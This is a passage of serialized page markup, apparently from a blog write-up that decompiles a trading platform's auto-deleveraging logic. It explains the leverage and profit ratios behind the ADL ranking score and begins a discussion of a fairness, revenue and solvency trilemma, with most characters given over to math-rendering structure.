value",{"type":24,"tag":327,"props":167145,"children":167146},{"style":120347},[167147,167151],{"type":24,"tag":327,"props":167148,"children":167150},{"className":167149,"style":118945},[3058],[],{"type":24,"tag":327,"props":167152,"children":167154},{"className":167153,"style":120357},[120356],[],{"type":24,"tag":327,"props":167156,"children":167157},{"style":165934},[167158,167162],{"type":24,"tag":327,"props":167159,"children":167161},{"className":167160,"style":118945},[3058],[],{"type":24,"tag":327,"props":167163,"children":167165},{"className":167164},[2977],[167166,167171,167180],{"type":24,"tag":327,"props":167167,"children":167169},{"className":167168},[2977],[167170],{"type":29,"value":165949},{"type":24,"tag":327,"props":167172,"children":167174},{"className":167173},[2977,29],[167175],{"type":24,"tag":327,"props":167176,"children":167178},{"className":167177},[2977],[167179],{"type":29,"value":165959},{"type":24,"tag":327,"props":167181,"children":167183},{"className":167182},[2977],[167184],{"type":29,"value":165949},{"type":24,"tag":327,"props":167186,"children":167188},{"className":167187},[3150],[167189],{"type":29,"value":3153},{"type":24,"tag":327,"props":167191,"children":167193},{"className":167192},[3043],[167194],{"type":24,"tag":327,"props":167195,"children":167198},{"className":167196,"style":167197},[3048],"height:0.686em;",[167199],{"type":24,"tag":327,"props":167200,"children":167201},{},[],{"type":24,"tag":327,"props":167203,"children":167205},{"className":167204},[3143,120292],[],{"type":24,"tag":25,"props":167207,"children":167208},{},[167209,167211,167217,167219,167225,167226,167232,167234,167240],{"type":29,"value":167210},"We can see in the decompilation below, through the SIMD noise, that ",{"type":24,"tag":284,"props":167212,"children":167214},{"className":167213},[],[167215],{"type":29,"value":167216},"abs_notional",{"type":29,"value":167218}," (unsigned), and ",{"type":24,"tag":284,"props":167220,"children":167222},{"className":167221},[],[167223],{"type":29,"value":167224},"float.d(rbx)",{"type":29,"value":13069},{"type":24,"tag":284,"props":167227,"children":167229},{"className":167228},[],[167230],{"type":29,"value":167231},"account_value",{"type":29,"value":167233}," (signed); the division is ",{"type":24,"tag":284,"props":167235,"children":167237},{"className":167236},[],[167238],{"type":29,"value":167239},"abs_notional / account_value",{"type":29,"value":66},{"type":24,"tag":25,"props":167242,"children":167243},{},[167244],{"type":29,"value":167245},"This tells us the risk multiplier that the user took on for this position.",{"type":24,"tag":165773,"props":167247,"children":167251},{"addr":167248,"line-start":167249,"line-end":167250},"0x555556abb140","278","296",[],{"type":24,"tag":228,"props":167253,"children":167255},{"id":167254},"ratio-2-profit-ratio",[167256],{"type":29,"value":167257},"Ratio 2: Profit Ratio",{"type":24,"tag":317,"props":167259,"children":167260},{},[167261],{"type":24,"tag":284,"props":167262,"children":167264},{"className":167263},[2949,165801],[167265],{"type":24,"tag":327,"props":167266,"children":167268},{"className":167267},[165806],[167269],{"type":24,"tag":327,"props":167270,"children":167272},{"className":167271},[2955],[167273],{"type":24,"tag":327,"props":167274,"children":167276},{"className":167275,"ariaHidden":2961},[2960],[167277,167308],{"type":24,"tag":327,"props":167278,"children":167280},{"className":167279},[2966],[167281,167285,167295,167299,167304],{"type":24,"tag":327,"props":167282,"children":167284},{"className":167283,"style":121829},[2971],[],{"type":24,"tag":327,"props":167286,"children":167288},{"className":167287},[2977,29],[167289],{"type":24,"tag":327,"props":167290,"children":167292},{"className":167291},[2977],[167293],{"type":29,"value":167294},"profit ratio",{"type":24,"tag":327,"props":167296,"children":167298},{"className":167297,"style":2993},[2992],[],{"type":24,"tag":327,"props":167300,"children":167302},{"className":167301},[2998],[167303],{"type":29,"value":384},{"type":24,"tag":327,"props":167305,"children":167307},{"className":167306,"style":2993},[2992],[],{"type":24,"tag":327,"props":167309,"children":167311},{"className":167310},[2966],[167312,167316],{"type":24,"tag":327,"props":167313,"children":167315},{"className":167314,"style":165854},[2971],[],{"type":24,"tag":327,"props":167317,"children":167319},{"className":167318},[2977],[167320,167324,167443],{"type":24,"tag":327,"props":167321,"children":167323},{"className":167322},[3121,120292],[],{"type":24,"tag":327,"props":167325,"children":167327},{"className":167326},[120297],[167328],{"type":24,"tag":327,"props":167329,"children":167331},{"className":167330},[3037,3038],[167332,167432],{"type":24,"tag":327,"props":167333,"children":167335},{"className":167334},[3043],[167336,167427],{"type":24,"tag":327,"props":167337,"children":167339},{"className":167338,"style":165879},[3048],[167340,167361,167372],{"type":24,"tag":327,"props":167341,"children":167342},{"style":165883},[167343,167347],{"type":24,"tag":327,"props":167344,"children":167346},{"className":167345,"style":118945},[3058],[],{"type":24,"tag":327,"props":167348,"children":167350},{"className":167349},[2977],[167351],{"type":24,"tag":327,"props":167352,"children":167354},{"className":167353},[2977,29],[167355],{"type":24,"tag":327,"props":167356,"children":167358},{"className":167357},[2977],[167359],{"type":29,"value":167360},"entry notional",{"type":24,"tag":327,"props":167362,"children":167363},{"style":120347},[167364,167368],{"type":24,"tag":327,"props":167365,"children":167367},{"className":167366,"style":118945},[3058],[],{"type":24,"tag":327,"props":167369,"children":167371},{"className":167370,"style":120357},[120356],[],{"type":24,"tag":327,"props":167373,"children":167374},{"style":165934},[167375,167379],{"type":24,"tag":327,"props":167376,"children":167378},{"className":167377,"style":118945},[3058],[],{"type":24,"tag":327,"props":167380,"children":167382},{"className":167381},[2977],[167383,167389,167394,167404,167409,167413,167417,167422],{"type":24,"tag":327,"props":167384,"children":167386},{"className":167385},[3018],[167387],{"type":29,"value":167388},"max",{"type":24,"tag":327,"props":167390,"children":167392},{"className":167391},[3121],[167393],{"type":29,"value":349},{"type":24,"tag":327,"props":167395,"children":167397},{"className":167396},[2977,29],[167398],{"type":24,"tag":327,"props":167399,"children":167401},{"className":167400},[2977],[167402],{"type":29,"value":167403},"pnl",{"type":24,"tag":327,"props":167405,"children":167407},{"className":167406},[11695],[167408],{"type":29,"value":11698},{"type":24,"tag":327,"props":167410,"children":167412},{"className":167411,"style":3169},[2992],[],{"type":24,"tag":327,"props":167414,"children":167416},{"className":167415,"style":3169},[2992],[],{"type":24,"tag":327,"props":167418,"children":167420},{"className":167419},[2977],[167421],{"type":29,"value":2988},{"type":24,"tag":327,"props":167423,"children":167425},{"className":167424},[3143],[167426],{"type":29,"value":3146},{"type":24,"tag":327,"props":167428,"children":167430},{"className":167429},[3150],[167431],{"type":29,"value":3153},{"type":24,"tag":327,"props":167433,"children":167435},{"className":167434},[3043],[167436],{"type":24,"tag":327,"props":167437,"children":167439},{"className":167438,"style":165977},[3048],[167440],{"type":24,"tag":327,"props":167441,"children":167442},{},[],{"type":24,"tag":327,"props":167444,"children":167446},{"className":167445},[3143,120292],[],{"type":24,"tag":25,"props":167448,"children":167449},{},[167450,167452,167458],{"type":29,"value":167451},"It uses entry notional (",{"type":24,"tag":284,"props":167453,"children":167455},{"className":167454},[],[167456],{"type":29,"value":167457},"r14_2",{"type":29,"value":167459},") as the divisor. PNL is clamped to non-negative before division.",{"type":24,"tag":25,"props":167461,"children":167462},{},[167463],{"type":29,"value":167464},"This basically tells us how well the user's bet went.",{"type":24,"tag":165773,"props":167466,"children":167470},{"addr":167467,"addr-start":167468,"addr-end":167469},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":24,"tag":25,"props":167472,"children":167473},{},[167474,167476,167482,167484,167490],{"type":29,"value":167475},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":24,"tag":284,"props":167477,"children":167479},{"className":167478},[],[167480],{"type":29,"value":167481},"1e-8",{"type":29,"value":167483},", in order not to cancel each other out. The final ADL ranking score is ",{"type":24,"tag":284,"props":167485,"children":167487},{"className":167486},[],[167488],{"type":29,"value":167489},"effective_leverage * profit_ratio",{"type":29,"value":167491},", consistent with both ratio directions and the max clamp on PNL.",{"type":24,"tag":25,"props":167493,"children":167494},{},[167495],{"type":29,"value":167496},"So, in essence, we look for risky and profitable positions!",{"type":24,"tag":235,"props":167498,"children":167500},{"id":167499},"partial-and-total-adl",[167501],{"type":29,"value":167502},"Partial and Total ADL",{"type":24,"tag":25,"props":167504,"children":167505},{},[167506],{"type":29,"value":167507},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":24,"tag":25,"props":167509,"children":167510},{},[167511],{"type":29,"value":167512},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":24,"tag":25,"props":167514,"children":167515},{},[167516,167518,167523],{"type":29,"value":167517},"So essentially, in pseudocode, the whole latter part of ",{"type":24,"tag":284,"props":167519,"children":167521},{"className":167520},[],[167522],{"type":29,"value":166098},{"type":29,"value":167524}," boils down to:",{"type":24,"tag":165773,"props":167526,"children":167529},{"addr":166144,"line-start":167527,"line-end":167528},"3252","3632",[],{"type":24,"tag":25,"props":167531,"children":167532},{},[167533],{"type":29,"value":167534},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":24,"tag":42085,"props":167536,"children":167538},{"id":167537},"branches",[167539],{"type":29,"value":167540},"Branches",{"type":24,"tag":25,"props":167542,"children":167543},{},[167544],{"type":29,"value":167545},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":24,"tag":25,"props":167547,"children":167548},{},[167549],{"type":29,"value":167550},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":24,"tag":42085,"props":167552,"children":167554},{"id":167553},"financial-conclusions",[167555],{"type":29,"value":167556},"Financial Conclusions",{"type":24,"tag":228,"props":167558,"children":167560},{"id":167559},"fairness-revenue-solvency-trilemma",[167561],{"type":29,"value":167562},"Fairness, Revenue, Solvency Trilemma",{"type":24,"tag":25,"props":167564,"children":167565},{},[167566,167568,167574],{"type":29,"value":167567},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":24,"tag":57,"props":167569,"children":167571},{"href":166926,"rel":167570},[61],[167572],{"type":29,"value":167573},"the paper mentioned before",{"type":29,"value":167575},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":24,"tag":1380,"props":167577,"children":167578},{},[167579,167589,167599],{"type":24,"tag":179,"props":167580,"children":167581},{},[167582,167587],{"type":24,"tag":42,"props":167583,"children":167584},{},[167585],{"type":29,"value":167586},"Solvency",{"type":29,"value":167588},": can the platform pay every trader out?",{"type":24,"tag":179,"props":167590,"children":167591},{},[167592,167597],{"type":24,"tag":42,"props":167593,"children":167594},{},[167595],{"type":29,"value":167596},"Fairness",{"type":29,"value":167598},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":24,"tag":179,"props":167600,"children":167601},{},[167602,167607],{"type":24,"tag":42,"props":167603,"children":167604},{},[167605],{"type":29,"value":167606},"Revenue",{"type":29,"value":167608},": the fraction of total winner PNL that survives after deleveraging.",{"type":24,"tag":25,"props":167610,"children":167611},{},[167612],{"type":29,"value":167613},"Let's borrow these definitions from the paper:",{"type":24,"tag":317,"props":167615,"children":167616},{},[167617],{"type":24,"tag":284,"props":167618,"children":167620},{"className":167619},[2949,165801],[167621],{"type":24,"tag":327,"props":167622,"children":167624},{"className":167623},[165806],[167625],{"type":24,"tag":327,"props":167626,"children":167628},{"className":167627},[2955],[167629],{"type":24,"tag":327,"props":167630,"children":167632},{"className":167631,"ariaHidden":2961},[2960],[167633],{"type":24,"tag":327,"props":167634,"children":167636},{"className":167635},[2966],[167637,167642],{"type":24,"tag":327,"props":167638,"children":167641},{"className":167639,"style":167640},[2971],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":24,"tag":327,"props":167643,"children":167645},{"className":167644},[2977],[167646],{"type":24,"tag":327,"props":167647,"children":167649},{"className":167648},[166503],[167650,168469],{"type":24,"tag":327,"props":167651,"children":167653},{"className":167652},[166508],[167654],{"type":24,"tag":327,"props":167655,"children":167657},{"className":167656},[3037,3038],[167658,168457],{"type":24,"tag":327,"props":167659,"children":167661},{"className":167660},[3043],[167662,168452],{"type":24,"tag":327,"props":167663,"children":167666},{"className":167664,"style":167665},[3048],"height:11.8392em;",[167667,167738,167755,167824,167894,167963,168033,168102,168171,168240,168310,168381],{"type":24,"tag":327,"props":167668,"children":167670},{"style":167669},"top:-14.3707em;",[167671,167676],{"type":24,"tag":327,"props":167672,"children":167675},{"className":167673,"style":167674},[3058],"height:3.3714em;",[],{"type":24,"tag":327,"props":167677,"children":167679},{"className":167678},[2977],[167680],{"type":24,"tag":327,"props":167681,"children":167683},{"className":167682},[2977],[167684,167689],{"type":24,"tag":327,"props":167685,"children":167687},{"className":167686,"style":2979},[2977,2978],[167688],{"type":29,"value":2982},{"type":24,"tag":327,"props":167690,"children":167692},{"className":167691},[3032],[167693],{"type":24,"tag":327,"props":167694,"children":167696},{"className":167695},[3037,3038],[167697,167727],{"type":24,"tag":327,"props":167698,"children":167700},{"className":167699},[3043],[167701,167722],{"type":24,"tag":327,"props":167702,"children":167704},{"className":167703,"style":116206},[3048],[167705],{"type":24,"tag":327,"props":167706,"children":167708},{"style":167707},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[167709,167713],{"type":24,"tag":327,"props":167710,"children":167712},{"className":167711,"style":3059},[3058],[],{"type":24,"tag":327,"props":167714,"children":167716},{"className":167715},[3064,3065,3066,3067],[167717],{"type":24,"tag":327,"props":167718,"children":167720},{"className":167719},[2977,2978,3067],[167721],{"type":29,"value":63125},{"type":24,"tag":327,"props":167723,"children":167725},{"className":167724},[3150],[167726],{"type":29,"value":3153},{"type":24,"tag":327,"props":167728,"children":167730},{"className":167729},[3043],[167731],{"type":24,"tag":327,"props":167732,"children":167734},{"className":167733,"style":99857},[3048],[167735],{"type":24,"tag":327,"props":167736,"children":167737},{},[],{"type":24,"tag":327,"props":167739,"children":167741},{"style":167740},"top:-12.8707em;",[167742,167746],{"type":24,"tag":327,"props":167743,"children":167745},{"className":167744,"style":167674},[3058],[],{"type":24,"tag":327,"props":167747,"children":167749},{"className":167748},[2977],[167750],{"type":24,"tag":327,"props":167751,"children":167753},{"className":167752,"style":101794},[2977,2978],[167754],{"type":29,"value":101828},{"type":24,"tag":327,"props":167756,"children":167758},{"style":167757},"top:-10.8392em;",[167759,167763],{"type":24,"tag":327,"props":167760,"children":167762},{"className":167761,"style":167674},[3058],[],{"type":24,"tag":327,"props":167764,"children":167766},{"className":167765},[2977],[167767],{"type":24,"tag":327,"props":167768,"children":167770},{"className":167769},[2977],[167771,167776],{"type":24,"tag":327,"props":167772,"children":167774},{"className":167773},[2977,2978],[167775],{"type":29,"value":320},{"type":24,"tag":327,"props":167777,"children":167779},{"className":167778},[3032],[167780],{"type":24,"tag":327,"props":167781,"children":167783},{"className":167782},[3037,3038],[167784,167813],{"type":24,"tag":327,"props":167785,"children":167787},{"className":167786},[3043],[167788,167808],{"type":24,"tag":327,"props":167789,"children":167791},{"className":167790,"style":100303},[3048],[167792],{"type":24,"tag":327,"props":167793,"children":167794},{"style":99830},[167795,167799],{"type":24,"tag":327,"props":167796,"children":167798},{"className":167797,"style":3059},[3058],[],{"type":24,"tag":327,"props":167800,"children":167802},{"className":167801},[3064,3065,3066,3067],[167803],{"type":24,"tag":327,"props":167804,"children":167806},{"className":167805},[2977,2978,3067],[167807],{"type":29,"value":11334},{"type":24,"tag":327,"props":167809,"children":167811},{"className":167810},[3150],[167812],{"type":29,"value":3153},{"type":24,"tag":327,"props":167814,"children":167816},{"className":167815},[3043],[167817],{"type":24,"tag":327,"props":167818,"children":167820},{"className":167819,"style":99857},[3048],[167821],{"type":24,"tag":327,"props":167822,"children":167823},{},[],{"type":24,"tag":327,"props":167825,"children":167827},{"style":167826},"top:-8.8188em;",[167828,167832],{"type":24,"tag":327,"props":167829,"children":167831},{"className":167830,"style":167674},[3058],[],{"type":24,"tag":327,"props":167833,"children":167835},{"className":167834},[2977],[167836],{"type":24,"tag":327,"props":167837,"children":167839},{"className":167838},[2977],[167840,167846],{"type":24,"tag":327,"props":167841,"children":167843},{"className":167842,"style":100260},[2977,2978],[167844],{"type":29,"value":167845},"π",{"type":24,"tag":327,"props":167847,"children":167849},{"className":167848},[3032],[167850],{"type":24,"tag":327,"props":167851,"children":167853},{"className":167852},[3037,3038],[167854,167883],{"type":24,"tag":327,"props":167855,"children":167857},{"className":167856},[3043],[167858,167878],{"type":24,"tag":327,"props":167859,"children":167861},{"className":167860,"style":100303},[3048],[167862],{"type":24,"tag":327,"props":167863,"children":167864},{"style":100307},[167865,167869],{"type":24,"tag":327,"props":167866,"children":167868},{"className":167867,"style":3059},[3058],[],{"type":24,"tag":327,"props":167870,"children":167872},{"className":167871},[3064,3065,3066,3067],[167873],{"type":24,"tag":327,"props":167874,"children":167876},{"className":167875},[2977,2978,3067],[167877],{"type":29,"value":11334},{"type":24,"tag":327,"props":167879,"children":167881},{"className":167880},[3150],[167882],{"type":29,"value":3153},{"type":24,"tag":327,"props":167884,"children":167886},{"className":167885},[3043],[167887],{"type":24,"tag":327,"props":167888,"children":167890},{"className":167889,"style":99857},[3048],[167891],{"type":24,"tag":327,"props":167892,"children":167893},{},[],{"type":24,"tag":327,"props":167895,"children":167897},{"style":167896},"top:-7.3188em;",[167898,167902],{"type":24,"tag":327,"props":167899,"children":167901},{"className":167900,"style":167674},[3058],[],{"type":24,"tag":327,"props":167903,"children":167905},{"className":167904},[2977],[167906],{"type":24,"tag":327,"props":167907,"children":167909},{"className":167908},[2977],[167910,167915],{"type":24,"tag":327,"props":167911,"children":167913},{"className":167912},[2977,2978],[167914],{"type":29,"value":58175},{"type":24,"tag":327,"props":167916,"children":167918},{"className":167917},[3032],[167919],{"type":24,"tag":327,"props":167920,"children":167922},{"className":167921},[3037,3038],[167923,167952],{"type":24,"tag":327,"props":167924,"children":167926},{"className":167925},[3043],[167927,167947],{"type":24,"tag":327,"props":167928,"children":167930},{"className":167929,"style":100303},[3048],[167931],{"type":24,"tag":327,"props":167932,"children":167933},{"style":99830},[167934,167938],{"type":24,"tag":327,"props":167935,"children":167937},{"className":167936,"style":3059},[3058],[],{"type":24,"tag":327,"props":167939,"children":167941},{"className":167940},[3064,3065,3066,3067],[167942],{"type":24,"tag":327,"props":167943,"children":167945},{"className":167944},[2977,2978,3067],[167946],{"type":29,"value":11334},{"type":24,"tag":327,"props":167948,"children":167950},{"className":167949},[3150],[167951],{"type":29,"value":3153},{"type":24,"tag":327,"props":167953,"children":167955},{"className":167954},[3043],[167956],{"type":24,"tag":327,"props":167957,"children":167959},{"className":167958,"style":99857},[3048],[167960],{"type":24,"tag":327,"props":167961,"children":167962},{},[],{"type":24,"tag":327,"props":167964,"children":167966},{"style":167965},"top:-5.8188em;",[167967,167971],{"type":24,"tag":327,"props":167968,"children":167970},{"className":167969,"style":167674},[3058],[],{"type":24,"tag":327,"props":167972,"children":167974},{"className":167973},[2977],[167975],{"type":24,"tag":327,"props":167976,"children":167978},{"className":167977},[2977],[167979,167984],{"type":24,"tag":327,"props":167980,"children":167982},{"className":167981,"style":129054},[2977,2978],[167983],{"type":29,"value":56292},{"type":24,"tag":327,"props":167985,"children":167987},{"className":167986},[3032],[167988],{"type":24,"tag":327,"props":167989,"children":167991},{"className":167990},[3037,3038],[167992,168022],{"type":24,"tag":327,"props":167993,"children":167995},{"className":167994},[3043],[167996,168017],{"type":24,"tag":327,"props":167997,"children":167999},{"className":167998,"style":100303},[3048],[168000],{"type":24,"tag":327,"props":168001,"children":168003},{"style":168002},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[168004,168008],{"type":24,"tag":327,"props":168005,"children":168007},{"className":168006,"style":3059},[3058],[],{"type":24,"tag":327,"props":168009,"children":168011},{"className":168010},[3064,3065,3066,3067],[168012],{"type":24,"tag":327,"props":168013,"children":168015},{"className":168014},[2977,2978,3067],[168016],{"type":29,"value":11334},{"type":24,"tag":327,"props":168018,"children":168020},{"className":168019},[3150],[168021],{"type":29,"value":3153},{"type":24,"tag":327,"props":168023,"children":168025},{"className":168024},[3043],[168026],{"type":24,"tag":327,"props":168027,"children":168029},{"className":168028,"style":99857},[3048],[168030],{"type":24,"tag":327,"props":168031,"children":168032},{},[],{"type":24,"tag":327,"props":168034,"children":168036},{"style":168035},"top:-4.3188em;",[168037,168041],{"type":24,"tag":327,"props":168038,"children":168040},{"className":168039,"style":167674},[3058],[],{"type":24,"tag":327,"props":168042,"children":168044},{"className":168043},[2977],[168045],{"type":24,"tag":327,"props":168046,"children":168048},{"className":168047},[2977],[168049,168054],{"type":24,"tag":327,"props":168050,"children":168052},{"className":168051},[2977,2978],[168053],{"type":29,"value":603},{"type":24,"tag":327,"props":168055,"children":168057},{"className":168056},[3032],[168058],{"type":24,"tag":327,"props":168059,"children":168061},{"className":168060},[3037,3038],[168062,168091],{"type":24,"tag":327,"props":168063,"children":168065},{"className":168064},[3043],[168066,168086],{"type":24,"tag":327,"props":168067,"children":168069},{"className":168068,"style":100303},[3048],[168070],{"type":24,"tag":327,"props":168071,"children":168072},{"style":99830},[168073,168077],{"type":24,"tag":327,"props":168074,"children":168076},{"className":168075,"style":3059},[3058],[],{"type":24,"tag":327,"props":168078,"children":168080},{"className":168079},[3064,3065,3066,3067],[168081],{"type":24,"tag":327,"props":168082,"children":168084},{"className":168083},[2977,2978,3067],[168085],{"type":29,"value":11334},{"type":24,"tag":327,"props":168087,"children":168089},{"className":168088},[3150],[168090],{"type":29,"value":3153},{"type":24,"tag":327,"props":168092,"children":168094},{"className":168093},[3043],[168095],{"type":24,"tag":327,"props":168096,"children":168098},{"className":168097,"style":99857},[3048],[168099],{"type":24,"tag":327,"props":168100,"children":168101},{},[],{"type":24,"tag":327,"props":168103,"children":168105},{"style":168104},"top:-2.5512em;",[168106,168110],{"type":24,"tag":327,"props":168107,"children":168109},{"className":168108,"style":167674},[3058],[],{"type":24,"tag":327,"props":168111,"children":168113},{"className":168112},[2977],[168114],{"type":24,"tag":327,"props":168115,"children":168117},{"className":168116},[2977],[168118,168123],{"type":24,"tag":327,"props":168119,"children":168121},{"className":168120},[2977,2978],[168122],{"type":29,"value":91072},{"type":24,"tag":327,"props":168124,"children":168126},{"className":168125},[3032],[168127],{"type":24,"tag":327,"props":168128,"children":168130},{"className":168129},[3037,3038],[168131,168160],{"type":24,"tag":327,"props":168132,"children":168134},{"className":168133},[3043],[168135,168155],{"type":24,"tag":327,"props":168136,"children":168138},{"className":168137,"style":100303},[3048],[168139],{"type":24,"tag":327,"props":168140,"children":168141},{"style":99830},[168142,168146],{"type":24,"tag":327,"props":168143,"children":168145},{"className":168144,"style":3059},[3058],[],{"type":24,"tag":327,"props":168147,"children":168149},{"className":168148},[3064,3065,3066,3067],[168150],{"type":24,"tag":327,"props":168151,"children":168153},{"className":168152},[2977,2978,3067],[168154],{"type":29,"value":11334},{"type":24,"tag":327,"props":168156,"children":168158},{"className":168157},[3150],[168159],{"type":29,"value":3153},{"type":24,"tag":327,"props":168161,"children":168163},{"className":168162},[3043],[168164],{"type":24,"tag":327,"props":168165,"children":168167},{"className":168166,"style":99857},[3048],[168168],{"type":24,"tag":327,"props":168169,"children":168170},{},[],{"type":24,"tag":327,"props":168172,"children":168174},{"style":168173},"top:-0.3652em;",[168175,168179],{"type":24,"tag":327,"props":168176,"children":168178},{"className":168177,"style":167674},[3058],[],{"type":24,"tag":327,"props":168180,"children":168182},{"className":168181},[2977],[168183],{"type":24,"tag":327,"props":168184,"children":168186},{"className":168185},[2977],[168187,168192],{"type":24,"tag":327,"props":168188,"children":168190},{"className":168189,"style":100008},[2977,2978],[168191],{"type":29,"value":100011},{"type":24,"tag":327,"props":168193,"children":168195},{"className":168194},[3032],[168196],{"type":24,"tag":327,"props":168197,"children":168199},{"className":168198},[3037,3038],[168200,168229],{"type":24,"tag":327,"props":168201,"children":168203},{"className":168202},[3043],[168204,168224],{"type":24,"tag":327,"props":168205,"children":168207},{"className":168206,"style":149329},[3048],[168208],{"type":24,"tag":327,"props":168209,"children":168210},{"style":117203},[168211,168215],{"type":24,"tag":327,"props":168212,"children":168214},{"className":168213,"style":3059},[3058],[],{"type":24,"tag":327,"props":168216,"children":168218},{"className":168217},[3064,3065,3066,3067],[168219],{"type":24,"tag":327,"props":168220,"children":168222},{"className":168221,"style":2979},[2977,2978,3067],[168223],{"type":29,"value":13555},{"type":24,"tag":327,"props":168225,"children":168227},{"className":168226},[3150],[168228],{"type":29,"value":3153},{"type":24,"tag":327,"props":168230,"children":168232},{"className":168231},[3043],[168233],{"type":24,"tag":327,"props":168234,"children":168236},{"className":168235,"style":99857},[3048],[168237],{"type":24,"tag":327,"props":168238,"children":168239},{},[],{"type":24,"tag":327,"props":168241,"children":168243},{"style":168242},"top:2.2624em;",[168244,168248],{"type":24,"tag":327,"props":168245,"children":168247},{"className":168246,"style":167674},[3058],[],{"type":24,"tag":327,"props":168249,"children":168251},{"className":168250},[2977],[168252],{"type":24,"tag":327,"props":168253,"children":168255},{"className":168254},[2977],[168256,168262],{"type":24,"tag":327,"props":168257,"children":168259},{"className":168258,"style":99774},[2977,2978],[168260],{"type":29,"value":168261},"D",{"type":24,"tag":327,"props":168263,"children":168265},{"className":168264},[3032],[168266],{"type":24,"tag":327,"props":168267,"children":168269},{"className":168268},[3037,3038],[168270,168299],{"type":24,"tag":327,"props":168271,"children":168273},{"className":168272},[3043],[168274,168294],{"type":24,"tag":327,"props":168275,"children":168277},{"className":168276,"style":149329},[3048],[168278],{"type":24,"tag":327,"props":168279,"children":168280},{"style":116773},[168281,168285],{"type":24,"tag":327,"props":168282,"children":168284},{"className":168283,"style":3059},[3058],[],{"type":24,"tag":327,"props":168286,"children":168288},{"className":168287},[3064,3065,3066,3067],[168289],{"type":24,"tag":327,"props":168290,"children":168292},{"className":168291,"style":2979},[2977,2978,3067],[168293],{"type":29,"value":13555},{"type":24,"tag":327,"props":168295,"children":168297},{"className":168296},[3150],[168298],{"type":29,"value":3153},{"type":24,"tag":327,"props":168300,"children":168302},{"className":168301},[3043],[168303],{"type":24,"tag":327,"props":168304,"children":168306},{"className":168305,"style":99857},[3048],[168307],{"type":24,"tag":327,"props":168308,"children":168309},{},[],{"type":24,"tag":327,"props":168311,"children":168313},{"style":168312},"top:4.8901em;",[168314,168318],{"type":24,"tag":327,"props":168315,"children":168317},{"className":168316,"style":167674},[3058],[],{"type":24,"tag":327,"props":168319,"children":168321},{"className":168320},[2977],[168322],{"type":24,"tag":327,"props":168323,"children":168325},{"className":168324},[2977],[168326,168332],{"type":24,"tag":327,"props":168327,"children":168329},{"className":168328,"style":101782},[2977,2978],[168330],{"type":29,"value":168331},"U",{"type":24,"tag":327,"props":168333,"children":168335},{"className":168334},[3032],[168336],{"type":24,"tag":327,"props":168337,"children":168339},{"className":168338},[3037,3038],[168340,168370],{"type":24,"tag":327,"props":168341,"children":168343},{"className":168342},[3043],[168344,168365],{"type":24,"tag":327,"props":168345,"children":168347},{"className":168346,"style":149329},[3048],[168348],{"type":24,"tag":327,"props":168349,"children":168351},{"style":168350},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[168352,168356],{"type":24,"tag":327,"props":168353,"children":168355},{"className":168354,"style":3059},[3058],[],{"type":24,"tag":327,"props":168357,"children":168359},{"className":168358},[3064,3065,3066,3067],[168360],{"type":24,"tag":327,"props":168361,"children":168363},{"className":168362,"style":2979},[2977,2978,3067],[168364],{"type":29,"value":13555},{"type":24,"tag":327,"props":168366,"children":168368},{"className":168367},[3150],[168369],{"type":29,"value":3153},{"type":24,"tag":327,"props":168371,"children":168373},{"className":168372},[3043],[168374],{"type":24,"tag":327,"props":168375,"children":168377},{"className":168376,"style":99857},[3048],[168378],{"type":24,"tag":327,"props":168379,"children":168380},{},[],{"type":24,"tag":327,"props":168382,"children":168384},{"style":168383},"top:7.3078em;",[168385,168389],{"type":24,"tag":327,"props":168386,"children":168388},{"className":168387,"style":167674},[3058],[],{"type":24,"tag":327,"props":168390,"children":168392},{"className":168391},[2977],[168393],{"type":24,"tag":327,"props":168394,"children":168396},{"className":168395},[2977],[168397,168402],{"type":24,"tag":327,"props":168398,"children":168400},{"className":168399,"style":129551},[2977,2978],[168401],{"type":29,"value":129554},{"type":24,"tag":327,"props":168403,"children":168405},{"className":168404},[3032],[168406],{"type":24,"tag":327,"props":168407,"children":168409},{"className":168408},[3037,3038],[168410,168441],{"type":24,"tag":327,"props":168411,"children":168413},{"className":168412},[3043],[168414,168436],{"type":24,"tag":327,"props":168415,"children":168418},{"className":168416,"style":168417},[3048],"height:0.2806em;",[168419],{"type":24,"tag":327,"props":168420,"children":168422},{"style":168421},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[168423,168427],{"type":24,"tag":327,"props":168424,"children":168426},{"className":168425,"style":3059},[3058],[],{"type":24,"tag":327,"props":168428,"children":168430},{"className":168429},[3064,3065,3066,3067],[168431],{"type":24,"tag":327,"props":168432,"children":168434},{"className":168433},[2977,2978,3067],[168435],{"type":29,"value":3134},{"type":24,"tag":327,"props":168437,"children":168439},{"className":168438},[3150],[168440],{"type":29,"value":3153},{"type":24,"tag":327,"props":168442,"children":168444},{"className":168443},[3043],[168445],{"type":24,"tag":327,"props":168446,"children":168448},{"className":168447,"style":99857},[3048],[168449],{"type":24,"tag":327,"props":168450,"children":168451},{},[],{"type":24,"tag":327,"props":168453,"children":168455},{"className":168454},[3150],[168456],{"type":29,"value":3153},{"type":24,"tag":327,"props":168458,"children":168460},{"className":168459},[3043],[168461],{"type":24,"tag":327,"props":168462,"children":168465},{"className":168463,"style":168464},[3048],"height:11.3392em;",[168466],{"type":24,"tag":327,"props":168467,"children":168468},{},[],{"type":24,"tag":327,"props":168470,"children":168472},{"className":168471},[166588],[168473],{"type":24,"tag":327,"props":168474,"children":168476},{"className":168475},[3037,3038],[168477,170179],{"type":24,"tag":327,"props":168478,"children":168480},{"className":168479},[3043],[168481,170174],{"type":24,"tag":327,"props":168482,"children":168484},{"className":168483,"style":167665},[3048],[168485,168523,168561,168708,168943,169098,169203,169246,169467,169626,16981